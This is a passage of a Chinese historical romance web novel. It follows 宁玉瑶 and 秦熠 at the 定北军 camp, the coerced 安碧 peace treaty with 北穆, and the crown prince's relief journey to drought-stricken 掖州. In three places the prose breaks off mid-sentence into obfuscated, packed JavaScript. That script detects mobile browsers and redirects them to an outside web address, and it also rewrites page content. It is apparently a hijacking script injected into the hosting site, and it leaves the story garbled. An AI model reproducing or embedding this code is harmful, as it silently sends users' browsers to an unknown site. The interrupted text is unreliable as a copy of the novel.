“不用,”秦熠饮了口茶,“我此次前来只是奉旨攻打北穆,如今北穆已打完,我也就无事了。操练之事等回京锐营再行安排。” “那这些时日你都能够陪我出去玩吗?” 秦熠望着她:“自然可以。” 宁玉瑶闻言,粲然一笑,心中正筹划着今日去哪游玩,忽然余光瞥见一队马车从楼下驶过,那是太子的车驾,宁璟瑞正骑着马跟在马车一侧。 宁玉瑶连忙对他们挥手:“哥哥,阿珏,你们这是要去哪?” 马车闻声停下,祁晖珏探出头来:“阿姐,我们要去定北军,你去吗?” 宁玉瑶下意识地转头看向秦熠,他的脸上满是纵容之意。 她笑着向太子应下:“等等我,我也要去。” * 既然来到定州,自然要去定北军。 此次大战,定北军大获全胜,太子需代天子慰问将士们,以鼓舞士气。 定北军驻扎在定州城外靠近原本北穆边境的位置,军营中的营帐皆以坚韧的麻布制成,整齐有序地排列着。营帐之间的道路因兵士们日复一日地踩踏,变得平整坚实。 营地中央立着一根高耸的旗杆,定北军的军旗迎风飘扬。天空中白云悠悠,偶有几只飞鸟翩然掠过。 宁玉瑶跟在秦熠身后,满是新奇地打量着周围的景象。在她这边,隐隐能听到演武场上太子振奋人心的话语。 宁玉瑶远远地瞧见演武场上的将士们激动得满脸通红的模样,不禁笑了笑。她转过头来,轻声说道:“珏儿也长大了。” 这话秦熠即便再缺心眼儿也不好接,他缄口不言,只是突然蹲下身,从地上抓起一个东西,兴冲冲地递到宁玉瑶面前,说道:“明安你看,前些年我送你的虫干就是这种虫子做的。” 宁玉瑶看着秦熠手中的虫子,它大约拇指大小,通体黢黑,挣扎时那张牙舞爪的狰狞口器仿佛下一瞬就会咬上她的鼻子。 宁玉瑶的脸色顿时青白交加,她深吸了一口气,忍了又忍,可最终还是没能忍住心中的怒火,直接伸手从秦熠腰间抽出他随身携带的配剑,拿起剑鞘就朝他身上抽去。 秦熠没敢躲避,只是嘴里叫嚷着:“明安,这虫子不咬人,它可是好东西,不但大补,还可以入药呢。” 一听这话,宁玉瑶举着配剑的手猛地僵在半空。她瞬间忆起秦熠消失在地缝中的那段日子,或许当时熠哥哥就靠着这些丑陋的东西果腹活命。 想到此处,宁玉瑶的眼眶一下子红了,泪水在眼中打转。 秦熠一看她眼中含泪的模样,顿时慌了神,赶忙把手中的虫子远远扔开,手足无措地哄道:“明安别怕,我把它扔了,别哭别哭,我以后再也不让这东西出现在你面前。” 然而他不哄还好,这么一哄,宁玉瑶心中愈发难过,眼泪如珠串般直接掉落下来。 秦熠急得团团转,额头上都冒出了细汗,不知怎么办才好。 正当这时,一道刚劲清脆的女声响起:“秦熠,你又在惹事了?” 宁玉瑶听到声音,急忙擦掉眼泪。 来定北军不方便带丫鬟,没有青黛和青筱在旁伺候,此刻她胡乱一擦,显得有几分狼狈。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201721|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“见过郡主。” 宁玉瑶看着面前行礼的女子,只觉得眼熟,却一时想不起是谁。 “阿姐。”秦熠看到来人,低下头小声地叫人。 宁玉瑶这才恍然,原来这位是秦家姐姐,她有些不好意思地唤了一声:“秀灵姐姐。” 她满是崇敬地看着眼前穿着一身赭色软甲,英姿飒爽的女子,秀灵姐姐这些年过得极为不易,身为女子,却要在军中打拼。她钦佩秦秀灵的坚韧,同时又有些沮丧自己做不到像秀灵姐姐这般英勇无畏。 秦秀灵从袖中拿出帕子,轻柔地将宁玉瑶脸上的泪痕擦拭干净,就像十多年前那般,她轻声说道:“臭小子不懂事,你告诉姐姐,姐姐帮你教训他。” “没有没有,不关熠哥哥的事,是我想起一些别的事情,才会如此失态。”宁玉瑶连忙解释道,就怕秀灵姐姐会责罚秦熠,毕竟小时候秀灵姐姐教训秦熠从毫不手软。 “没有就好。”秦秀灵看着宁玉瑶如同儿时那般护着秦熠的模样,眼中闪过一丝笑意。 她并不打算留在这里妨碍他们,转头看向秦熠,说道:“我去演武场了,再敢胡闹,仔细你的皮!” “秀灵姐姐慢走。”宁玉瑶红着脸跟秦秀灵道别。 “知道了阿姐,”秦熠赶紧保证道,他拿过宁玉瑶手中的剑,带着宁玉瑶往军营外走去,边走边说:“这玩意怪沉的,我拿着,待会儿我去折根树枝,你拿树枝打我……” 秦秀灵听着渐渐远去的声音失笑。方才她在旁边看了许久,自然明白明安郡主为何掉泪。她欣慰地想,傻人有傻福,这傻小子还真是好福气。 * 虽说此次是奉旨跟随沈大人出行,但承武帝坚决不允许太子和明安郡主离开定州,他担心万一北穆狗急跳墙,强攻安碧城,这两个孩子任何一人有个三长两短都是他不愿意看到的。 于是,他们抵达定州休整几日后,宁璟瑞便率队保护沈大人前往安碧城和谈,而太子和宁玉瑶的安危则全权交由定北军负责。 转眼便到了八月末,定州的天气逐渐转凉。 好在出来前准备周全,光是宁玉瑶一人的衣物就装了三辆马车,四季衣物一应俱全,各类生活用品亦是应有尽有,她的日子过得还算舒适。只是定州气候干燥且风沙大,这让自幼在雁京长大的她有些难以适应,喉咙时常感到干哑。 这可把秦熠急坏了,这些天他到处打听,跑遍了定州城的大街小巷,绞尽脑汁在外头寻找一些润燥之物,就怕明安受一丁点儿委屈。 “明安,”秦熠趴在宁玉瑶院子的墙头上,将手中的一包东西扔给青黛,“去洗洗切给郡主吃。” “这是什么?”宁玉瑶看他神神秘秘的,不由得心生好奇。 秦熠跳下来,拍了拍身上的灰尘,笑着说道:“没什么,只是一些定州特产的梨子。这梨子直接吃清甜可口,还可以用冰糖一起蒸了,不但美味还很润燥。” “辛苦你了,熠哥哥。”据宁玉瑶这些天的观察,定州地处偏远,新鲜蔬果极为稀缺,就算是太子那里也供应不上来,这一包梨子想必费了熠哥哥不少功夫。 “这有什么,”秦熠一脸轻松地说,“你先吃着,等过几日北穆服软了,我们就可以回去了。” 说起和谈,宁玉瑶不禁有些想念兄长了,“也不知道安碧城那边谈得怎么样了。” 53.变故 安碧城中,气氛凝重,文攸礼满脸木然地坐在和谈桌后,身形显得有些佝偻。 沈彦成看着面前明显苍老了许多的文攸礼,心中不禁感慨。想当年,文攸礼也曾意气风发,如今却落得这般境地。然而,这感慨之中却没有半分同情。 “文丞相,不知您考虑得如何?”沈彦成依旧和气地问,面上挂着和善的笑容,看起来很好说话的样子。 但文攸礼紧盯着面前大宸拟定的条约,只觉得沈彦成此人面目可憎。 他不明白北穆究竟是如何走到如今这一步的。一直以来被北穆视作“粮仓”,任由他们劫掠的大宸,不但开始奋然反击,还狠狠从北穆身上撕下了一块肉来。甚至,连他们的王都沦为了大宸的阶下囚。 此时的北穆群龙无首,乱作一团。王后非但没有一丝赎回王的意向,反而欲联合母族推举新王。而其他部族自然也都各怀鬼胎,想要让自己的族人上位。 好在王在位多年,并非毫无建树,仍有诸多部族忠心于王。正是靠着这些忠心耿耿的部族,才能与那些居心叵测的部族分庭抗争,使得推举新王之事一直僵持不下。 “文丞相?”沈彦成见文攸礼一直不说话,轻声提醒道,“你有何想法,可以提出来商讨商讨。” 虽然,大宸也不一定会听。 文攸礼缓缓回过神来,他自然也能领会沈彦成的言外之意,强打起精神说:“八座城池不可能,四座城池是我们的底线。” 沈彦成笑而不语,坐在一旁的秦柏嗤笑一声:“别忘了这些城池现在皆由大宸把守,你们有什么资格拒绝,有本事你们就打回去。” 文攸礼不愧是个久经世故的老狐狸,即便被秦柏这般奚落,脸色也毫无变化,只是淡淡地说:“我们现在打不了,不代表日后也没办法。” “行,老子等你来,希望你活着的时候还能见到这些城池回归北穆。”秦柏满怀恶意地开口。 文攸礼没什么反应,依旧一脸冷漠。但他身后的北穆臣子可受不了这气,个个怒目圆睁,拍案而起,想要斥责秦柏的无礼。 就在这一触即发之际,沈彦成适时开口:“天干物燥的,各位火气别这么大,万一走火可不好了。” 北穆大臣听出了沈彦成轻声笑语中暗含的威胁,一个个面色涨红,却又只能憋屈地闭上嘴,纷纷将目光投向文攸礼,等他决断。 和谈厅内鸦雀无声,文攸礼闭着眼,眉头紧蹙,许久之后,才缓缓吐出一口气,沉重地道:“我同意割让八座城池……” 此话一出,北穆那方一片哗然,众人难以置信地看着文攸礼,他们都没想到文攸礼居然会同意这般荒唐的要求。 文攸礼满嘴苦涩,心中尽是悲凉。不同意又能如何?王手下的大将在战场上伤亡惨重,如今朝中已无善战之将,谁还能与秦柏一较高下?至于其他部族,他们更不会出手相助。 现下,只能不惜一切代价将王换回来。 “但是,”文攸礼抬起头,眼神决然,还想再争取一番,“三千万两白银绝无可能,即便掏空北穆也拿不出来。” “没关系,没关系,”沈彦成摆摆手,极为大度地表示,“恰好圣上邀请北穆王去雁京作客,这次我们先带走一千万两白银,你们接着筹银子,其余的什么时候筹齐了,什么时候送你们北穆王回来。” 文攸礼死死攥住自己的拳头,指甲嵌入掌心,却浑然不觉疼痛。面对大宸这接二连三的威逼胁迫,他即便满心愤懑却又无可奈何。北穆国势衰颓,王被囚禁,朝中无将,他又能怎样? 最终,在沈彦成那看似和善,实则充满压迫的目光下,文攸礼颤抖着手,在“安碧盟约”上签下了自己的名字。 等到双方签完字,沈彦成脸上仍旧挂着虚伪的笑容,笑呵呵地说:“还望文丞相早日将银两送到我们大宸的雅赞城中来。” 此话一出,文攸礼再也按捺不住心中的悲愤。他只觉气血上冲,眼前一阵发黑,一口鲜血从口中喷出,整个人向前栽倒,失去了知觉。 这突如其来的变故使大厅内瞬间陷入混乱,北穆使臣们怒目而视,个个紧握拳头。 眼见北穆使臣暴怒,秦柏猛拍桌子,“砰”的一声巨响,震得桌上的茶杯都跳了起来。他抽出佩剑指着北穆使臣,大声喝道:“干什么,不赶快带你们文丞相去看大夫,想跟老子打一架吗?” 宁璟瑞等人也迅速利剑出鞘,剑尖直直地指向北穆使臣。 北穆使臣们望着秦柏等人凶狠的模样,深知自己这些人不是秦柏的对手。他们咬着牙,强压下心中怒火,抬着文攸礼匆匆离开了大厅。 等北穆人全部离开,秦柏收起佩剑,看向沈彦成:“沈大人,您又何苦非要气那个老东西一下,万一将他气死了,那可真是件麻烦事。” 要死也得等银子到手了再死。 沈彦成丝毫不担心,轻轻摆了摆手,说道:“放心吧,只要北穆王还在我们手中,他就不敢死。况且,北穆如今内乱不断,文攸礼清楚得很,没了我们的制衡,他们的局势只会更糟。” 说完,他收好盟约书,哼着小曲,悠哉地走出房门。和谈终于结束,可以回京咯。 沈彦成心情十分愉悦。 这八座城池附近地势平坦,水草丰茂,是养马的好地方。不出三年,大宸军队的战马便能更进一层。到那时,兵强马壮,往后更不必惧怕你们小小北穆了。 * 盟约书签订完毕,两日之后即将启程返回雁京。 定州府衙内,下人们有条不紊地整理着行李。 因路途遥远,秦熠担忧宁玉瑶途中饮食不善,亲自搜罗了许多瓜果送来。 宁玉瑶立于院子中,望着满地的梨子、柿子以及各类瓜果。这些瓜果品相不佳,倘若在繁华的雁京,定然无法入她的眼。 然而这是深秋时节的定州,物资匮乏,这些雁京上不了台面的东西,在此处却是有钱也难以购得的珍贵之物。 她转头看向秦熠,眼中满是期待:“熠哥哥,你也与我们一同走吗?” 秦熠示意侍女们将东西妥善收好,沉默半晌,方才带着笑意说道:“你们先行一步,定北军尚有一些事务未交接完毕,我需与父亲晚些时候再出发。” 宁玉瑶听闻此言,瘪着嘴,即将回雁京的喜悦也被冲淡了几分。 秦熠见宁玉瑶不开心,正要哄她,一名侍卫匆匆前来禀报:“郡主,秦都司,雁京天使抵达定州,请您二位前往正厅接旨。” 宁玉瑶皱起眉头,心中疑惑,马上就要回雁京了,会有何事需要舅舅这般匆忙派遣天使来到定州传旨? 他们不敢耽搁,立即快步行往府衙正厅,太子和秦柏等人已在正厅等候。 前来传旨的是老熟人,苏德茂苏公公,他手捧圣旨站在正位之上,宁玉瑶刚一踏入正厅,苏公公便展开圣旨,高声道:“圣旨到,太子,孙佑延,秦熠等人接旨。” 众人立即跪地,齐声高呼:“臣等接旨,吾皇万岁万岁万万岁。” “奉天承运皇帝诏曰:掖州地界久旱无霖,民不聊生,朕心甚忧。兹命太子亲赴掖州,主持赈灾事宜,以安民心。命孙佑延随行,辅佐太子,秦熠调遣定北军精锐,护卫太子安全,确保一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214143|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路顺遂。另命沈彦成与宁璟瑞,携盟约书返回雁京,以备朝廷审阅。朕望尔等各尽其职,不负朕望,钦此。” 圣旨宣读完毕,众人再次山呼万岁,这才站起身来。 苏公公满面笑容,将圣旨恭敬地递到太子手上,道:“殿下,陛下口谕,命您尽快启程。此番路途艰辛,只能劳烦殿下受累了。” 祁晖珏颔首,道:“掖州大旱,百姓受苦,孤亦心急如焚。孤定不负皇命,即刻启程。” 苏公公殷勤地朝太子行礼,随后被定州知府带下去休息。 厅中余下之人皆静候太子吩咐。 “秦熠,你速去清点人马,尽快出发。” “是,殿下。”秦熠领命,迅速离开,奔向定北军。 祁晖珏转头询问身侧的孙佑延:“孙太傅,不知您是否已收拾停当?” 孙佑延回道:“殿下放心,老臣随时可以出发。” “好。”祁晖珏微微颔首,接着看向宁玉瑶,“阿姐,你是与我一同前往掖州,还是和宁世子一起回雁京?” 圣旨中将众人都安排了去处,唯独对阿姐只字未提,祁晖珏明白父皇这事让阿姐自行决定去向。 宁玉瑶低头沉思,一旁的宁璟瑞本想让妹妹随自己一同回京,但既然是太子发问,且陛下亦有此意,他只得暂且按捺下心中的想法。 不过片刻,宁玉瑶抬起头说道:“我跟你一起去掖州。” “好,那阿姐快回去收拾,我们尽快启程。” 返回小院的途中,宁璟瑞沉默不语。 宁玉瑶明白哥哥在担忧自己,而她亦有自己的考量。太子虽端方持重,可终究只是个十二岁的少年。她看着珏儿长大,心中自然放心不下珏儿独自前往掖州。 即便有秦熠护卫在珏儿身侧,可熠哥哥终究不如自己与珏儿那般亲近。出门在外,有家人陪伴,总归要好上许多。 “哥哥,我知晓你放心不下我,可我同样不放心珏儿。” 宁璟瑞听到妹妹刻意压低的声音,瞬间领会了妹妹的意思。 他轻轻弹了一下宁玉瑶的额头,“你自己都还是个孩子呢,少操这么多心。这一路上,你只要少给殿下添乱就好。” 宁玉瑶不开心地说:“我才没有给珏儿找麻烦呢。” “好好好,没有。快去收拾吧,别让殿下久等。” * 秦熠领着近百名定北军兵士在定州府衙外静静等候。 不多时,府衙大门打开,他惊讶地看见宁玉瑶跟随在太子身后,心中隐隐升起一种猜测,却又不敢确定,生怕只是一场空欢喜。 直至宁玉瑶坐上太子后方的马车,他瞬间咧开嘴,喜不自胜。 秦柏看着儿子这副没出息的模样,在他后脑勺重重地拍了一下,轻声提醒道:“莫要忘了你的任务!” 秦熠立刻收敛脸上的表情,郑重地说道:“放心吧,爹,太子的安危绝对置于首位。” 秦柏知道自己的儿子分得清轻重,便不再多言。秦秀灵这才上前关切道:“路上务必小心。” 秦熠应下,看着阿姐张了张嘴似想说些什么,但没有说出口,只是神情中带着几分犹豫。 秦秀灵瞧着他这般模样,笑着说道:“阿姐在雁京等你。” 阿姐终于愿意回雁京了!秦熠顿时喜上眉梢,今日真是个好日子,好消息接连不断。 秦柏此时也才知晓女儿愿意跟着自己一同回雁京,心情甚好。 他又叮嘱了儿子几句,直到看见太子等人登上马车,才出声提醒:“好了,等回去之后再聊,出发吧。” 54.掖州 掖州,地处大宸的西北方。从定州出发,向西南行进大约十日路程,方可抵达。 此段路途山峦连绵起伏,道路崎岖不平,与从雁京至定州的路程相比,更为颠簸难行。那坑洼的道路使得马车不时剧烈晃动,仿佛随时能将人甩出车厢。 即便如此艰难,为了不耽误行程,宁玉瑶硬是咬着牙坚持了下来,未曾吐露一句怨言。 每日休息时,她还会关切太子的身体状况,悉心照料太子的衣食住行。 尽管宁玉瑶竭力掩饰自己的疲惫,但秦熠一颗心都系在她身上,又怎会看不出她在强撑?可西北之地相较定州更加荒凉,资源极度匮乏。即便秦熠再心疼,此刻也无计可施。 行至傍晚时分,斥候费尽周折寻得一处僻静之地,作为众人今日休息的地方。 这一路走来,众人为尽快抵达目的地,常常错过客栈投宿,这般在野外风餐露宿已是常事。 宁玉瑶在马车上颠簸了一整天,只觉浑身的骨头都快被摇散架了。马车停下,她虚弱地靠在丹素身上,在丹素的搀扶下缓缓走下马车。 营帐已布置妥当,太子也知道宁玉瑶一路舟车劳顿,颇为辛苦,特意将最大的营帐留给了她。 营帐内铺着厚厚的绒毯,绒毯质地蓬松,踩上去柔软舒适。营帐中央摆放着一张精致的矮榻,矮榻上铺着白貂裘毯和锦缎被褥,那白貂裘毯洁白如雪,锦缎被褥上绣着精美的花纹,色彩绚丽,每一处针脚都细腻精致。 宁玉瑶走到矮榻旁,懒懒地躺在绵软的白貂裘毯上。 这块白貂裘是秦熠前些时日在曾经的北穆边城,如今已纳入大宸版图的雅赞城内寻得的。当时,秦熠可是费了不少心思才找到这些纯白的白貂皮毛。 这些白貂皮毛颜色均匀,不见一丝杂色,品质极为上乘。秦熠一见到它们就毫不犹豫地悉数买下,命人精心制成了这块白貂裘毯。 这些日子,秦熠但凡手中有什么好东西,必定会在第一时间送到明安郡主那里。其他人对此早已习以为常,见怪不怪了。 青黛和青筱站在塌边,心疼地为自家郡主轻轻按揉着身子。 这一路上风餐露宿,吃不好也睡不好。每到一处停歇之地,往往都是荒郊野外,环境极为艰苦。郡主自幼养尊处优,何时受过这种苦? 如今看来,长公主殿下当初不让郡主出远门不无道理。 “明安。” 帐外突然传来秦熠的呼唤,宁玉瑶睁开眼看向青黛。 青黛会意,快步走到帐门口,掀起帐帘,恭敬地请秦熠入内。 秦熠大步踏入营帐,看到神色恹恹躺在软榻上的宁玉瑶,连忙将手中的瓷碗递给青黛,走到宁玉瑶身边,温声对她说道:“我刚才在周围寻得了几个野鸟蛋,想着给你补补身子,便让人赶紧蒸好送了过来。如今在这荒郊野外,实在是没什么可入口的东西。明安,你暂且凑合着吃点吧。” 宁玉瑶微微抬起眼眸,看着秦熠满是关切的眼神,心中一暖。她示意青黛把碗拿过来,当目光落在碗中的蒸鸟蛋上时,却提不起多大胃口。这些野鸟蛋与府中由御厨精心烹制的佳肴相比,实在过于简陋。 可想到这是熠哥哥特意为她找来的,便强忍着身体的不适,勉强吃了两口。 越是临近掖州,食物便越发匮乏。一路上,他们所经之处大多荒无人烟,极难找到补给之所。只有偶尔进入城池,方能进行一番物资补充。 他们车上携带的粮食虽说较为充足,完全能够保证太子和明安郡主的温饱无虞。然而,宁玉瑶着实被这颠簸的路途折腾得没了胃口。 秦熠看在眼里,急在心里,只得想方设法寻一些新鲜玩意给宁玉瑶,只盼她能多吃点东西,恢复些许体力。 就这几个不起眼的野鸟蛋,也是秦熠跑了很远才找到的。 秦熠在宁玉瑶软榻前的地上坐下,仰头凝望着清减不少的宁玉瑶,轻声说:“明安,再过两日就到掖州了。到时候你好好歇着,我再想法子给你找些新鲜吃食。” 宁玉瑶闻言,轻轻一笑,眼中波光潋滟,“我没那么娇气,这一路的奔波算不得什么,等习惯就好了。再说,我们来掖州还有正事要办呢。” 秦熠垂下眼帘,神色黯然。这种吃苦的事,明安怎么需要去习惯。他宁愿自己受累,也不愿让她受一丝一毫的委屈。 宁玉瑶一看秦熠的表情,就知道他不会听自己的话,也就由着他去了。横竖熠哥哥向来有分寸,不会因照顾自己而耽误正事。 这时,外面传来晚膳已准备妥当的呼喊声。 宁玉瑶伸出手指,轻轻抚平秦熠眉间的褶皱,柔声道:“熠哥哥别担心,快去用膳吧,我保证明天就好了。” * 进入掖州地界后,明显能觉察到此地与别处的差异。 广袤的田野间,土地干裂得如同龟背,曾经郁郁葱葱的庄稼,如今只剩下干枯的秸秆。 河流早已干涸,河床赤裸裸地暴露在外,曾经波光粼粼的水面消失得无影无踪,取而代之的是一道道触目惊心的深深裂痕。 远处的山峦,草木枯黄,曾经秀美的青山绿水,如今已化作一片死寂的荒野。 宁玉瑶坐在马车上,沉默地看着官道沿途的流民。他们面容憔悴,瘦骨嶙峋,眼神中满是木然,毫无生机。人群中的孩童们没有嬉戏玩耍,趔趄着跟在家人身旁,稚嫩的脸上写满了饥饿和疲惫。 有流民注意到他们的马车,饥饿让他们丧失了理智,疯狂地想要上来哄抢粮食。好在秦熠率领的定北军兵士们反应迅速,凶狠地将他们喝退。 然而这些流民并不甘心,依旧紧紧地坠在他们身后,眼睛直勾勾地盯着马车。 为了防止可能出现的意外,进入掖州不久后,秦熠当机立断,请太子与孙太傅,宁玉瑶共坐一辆马车。他自己则率领侍卫和定北军兵士,将太子的车驾严严实实地护住。 即便这样重重护卫,还是有一个面黄肌瘦的女人怀中抱着奄奄一息的孩子,不顾一切地冲到他们马车前跪下。 她用力地磕着头,额头砸向地面发出“砰砰”的声响,用生疏的官话喊着:“老爷们,求求你们施舍点吃的吧,孩子快要饿死了,求求你们救救孩子吧。” 马车停下,宁玉瑶听到这凄惨的哀求,抿唇看着那头上已经磕出血的女人,心中不忍。她转头看向面露悲悯的太子,轻声说:“珏儿,不如……” 孙佑延连忙制止:“郡主不可!” 祁晖珏和宁玉瑶都不解地望着孙太傅,宁玉瑶轻声问:“我们的粮食应该能够支撑到掖州知府了,为何不能分一些给她们?” 孙佑延答道:“郡主心善,实乃大善之举。但遇上灾民切不可随意施舍粮食。一来,周围流民众多,鱼龙混杂。我们就算给她粮食,她一个弱女子又如何能护得住?只怕转眼就会被他人抢夺而去。 “二来,一旦开了这个口子,其他流民定会认为我们这里有更多的财富,从而铤而走险抢劫我们。届时,还会有更多的流民蜂拥而至。定北军的将士们即便再骁勇善战,也双拳难敌四手。太子与郡主万金之躯,切不可因一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222293|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时善念而身陷险境。” 宁玉瑶这才恍然大悟,这里面竟有这么多门道,幸好这次有孙太傅随行,及时提醒,才没有因自己的无知酿成大祸。 太子也才知道一些看似简单的事情居然会牵扯出这么大的隐患,连忙说道:“原来如此,难怪古语有言,读万卷书不如行万里路,孤此番受教了。” 宁玉瑶硬起心肠不再关注地上的女人,她关上车窗,在里面轻声说:“熠哥哥,把她拉开继续赶路吧。” 秦熠听出宁玉瑶语气中的不忍,但他也知道流民的厉害。他亲自走到女人身边,动作粗鲁地将她拉起来拖到一边,随后头也不回地下令继续前行。 周围的流民冷漠地看着眼前这一幕,见女人也没得到什么好处,便不再关注她,继续麻木地跟在车队后面往掖州的方向走去。 女人绝望地抱着自己奄奄一息的孩子,瘫坐在地上,失声痛哭。如果再没有吃的,她的孩子可能活不过今晚了。 突然,她感觉怀中孩子动了动。“娘,好甜啊。”无比微弱又有些含糊的声音在她耳边响起,孩子的嘴里似乎含着什么东西。 女人止住哭声,心中一惊,连忙侧身挡住外面的视线,扒开孩子的嘴,里面赫然是一颗棕色的糖丸,糖丸上还散发着淡淡的药味。她连忙在孩子耳边轻声说:“偷偷吃,别告诉任何人。” 旱灾经历了这么长的时间,孩子自然知道其中厉害。她乖乖点头,将头埋入母亲怀中,不敢让人看见她吮吸糖丸时蠕动的嘴唇。 女人没有表现出任何异样,依旧嚎哭着抱着孩子离开了官道。只是这次,她的泪水中不再是绝望,而是饱含着对贵人们的感激。 * 越靠近掖州城,路上的灾民便愈发密集。 当他们终于抵达掖州城门前时,掖州城城门紧闭,城墙被灾民围得水泄不通。 秦熠眉头紧皱,用长枪挑开挡路的灾民。被他拨到一边的灾民们起初怒目圆睁,想要暴起攻击秦熠,可当他们看见满脸凶煞之气的秦熠,以及他身边手拿武器一看就不好惹的兵士们,立即矮了气势,纷纷噤声,躲得远远的。 身后的侍卫递上令牌和弓箭,秦熠接过,将令牌穿在箭矢上,拉开长弓,只听“咻”地一声,携带着令牌的箭矢如闪电般飞出,牢牢钉在城楼上。 城墙上方的守城校尉听到声响,摘下令牌探出头来。秦熠高声喊道:“钦差驾到,速开城门!” 守城校尉连忙大声应道:“请大人们稍等片刻。” 不多时,掖州城沉重的城门缓缓打开,发出沉闷的声响。守城卫兵们手持长枪,枪头直直对着灾民,寒光闪闪,谁若敢硬冲进城内,便会直接撞上长枪被串成血葫芦。 灾民们似乎被卫兵们手中的长枪吓怕了,尽管心中很想不顾一切地冲进掖州城寻求一线生机,但在卫兵们的威慑下,只能僵在原地,不敢轻举妄动。 宁玉瑶透过车窗的缝隙,皱眉看着这混乱的一幕。 马车缓缓穿过人群驶入掖州城,车轮在拥挤的道路上艰难前行,沉闷的关门声在他们身后响起。 等到进了掖州城,她才知道掖州城为何会将灾民挡在城外。 掖州城内的街道上已横七竖八地躺满了灾民,几乎没有落脚的地方。若是再让城外的人进来,只怕会更加混乱。 宁玉瑶听着车外秦熠与校尉寒暄了几句,此地人多手杂,秦熠并未言明是太子殿下驾到,只是让他们速带钦差去府衙。 救兵终于到了,守城的兵士们无需多言,迅速向府衙奔去。 55.糖丸 自掖州大旱以来,灾情惨重,庄稼颗粒无收,饿殍遍野,处处皆是惨状。知府杨学元心急如焚,早早地上禀朝廷,请求朝廷赈粮。 然而那时定州正与北穆激战,国库早已捉襟见肘。 两个月前递上的折子,圣上恩准掖州从常平仓中支取粮食。常平仓中的粮食本就有限,谁能想到,仅仅月余时间,便消耗得七七八八,远远不够整个掖州之用。 为解燃眉之急,杨学元只能厚着脸皮向掖州的富户们借粮,借了一轮又一轮。可即便如此,也只是杯水车薪。 如今,杨学元已经许久没合过眼了。他疲惫不堪地坐在大堂前的台阶上,看着院子里那棵早已枯死的梧桐树。他长长地叹了口气,心中满是愁苦,掖州无粮,这可如何是好。莫说灾民,再过些时日,恐怕他这个知府也要被饿死了。 正当杨学元愁眉苦脸地摸着下巴上暗淡无光的小胡子,寻思着上哪儿去弄粮食时。 衙役突然冲了进来,他满脸急切,大声喊道:“大人,大人!圣上派遣的钦差大臣到了!” 杨学元猛地站起身,因起身太急,身体一阵摇晃,随后便感到一阵眩晕,眼前阵阵发黑。 衙役连忙过来扶着他:“大人小心。” 杨学元却顾不上那么多,他紧紧抓住衙役的手,问:“你刚才说什么?陛下派钦差大臣来了?” 衙役连连点头:“回大人,城门处传来消息,钦差已进城,正往府衙这边赶来。” 杨学元站在原地,泪水不受控制地夺眶而出,“陛下,您还是没有忘记掖州啊!” 衙役见杨知府老毛病又犯了,赶紧提醒道:“大人,您先别哭了!赶紧去迎接钦差大人吧!” “对!对!正事要紧。”杨学元赶紧抬起手,用力擦掉胡子上的涕泪,千万不能在钦差大臣面前失礼。 衙役搀扶着杨学元来到府衙外等候。 门外,原本躺着的灾民们看到府衙有动静,麻木地瞥了杨知府一眼,但没有人动弹,他们也知道府衙里已经没有粮食了。 衙役们赶紧上前,将灾民们驱赶至一旁,为钦差让出一条路。这些灾民们虽然心中不满,但也不敢违抗,只能默默地退到一边。 杨学元站在府衙门口,紧张地望着街道的尽头。 直到一列马车缓缓驶入府衙所在的街道,车轮滚动的声音在寂静的掖州城中显得格外清晰。 杨学元眼睛一眨不眨地盯着那支队伍,随着马车越来越近,看到马车周围环绕着身着大宸军营制式软甲的兵士,他心中的大石才彻底落下,真的是钦差大臣啊! 他使劲眨了眨眼睛,将眼中的泪水憋了回去,提醒自己千万不可失态。 马车停在他的面前,杨学元紧张地看着马车,也不知道陛下派的是哪位大人,以掖州如今的困境,希望是一位能办实事的大臣。 马车的车门打开,率先走下马车的是孙佑延。 杨学元看到孙佑延的那一刻,长舒一口气,孙太傅好啊! 孙太傅务实笃行,在朝中素有美名。他所到之处皆有善政,无论是处理政务还是安抚百姓,都深得圣心。 正当他正要上前行礼时,马车上又下来一名十余岁的少年。 那少年通身气度不凡,杨学元膝盖一软,差点跪下。 身边一名年轻将士眼疾手快,牢牢扶住他,小声提醒道:“杨大人,还请进府再说。” 杨学元回过神来,连忙强撑着站直身子。他脸上满是殷勤之态,近乎谄媚地引着众人进入府衙。 但是等府衙大门一关,杨学元瞬间跪在地上,紧紧抱住小少年的腿,放声大哭:“殿下,您可算来了!老臣等您等得好苦啊!” 那哭声简直震天动地。 原本若只是孙太傅任钦差,杨学元虽然放心,但也不会如此失态。可太子就不一样了,陛下派太子前来,那必然是要将掖州旱灾彻底解决。 如此一来,多日来的担惊受怕总算得到了缓解。他仿佛一个受了委屈之后看到家长的孩子般,哭得毫无形象。 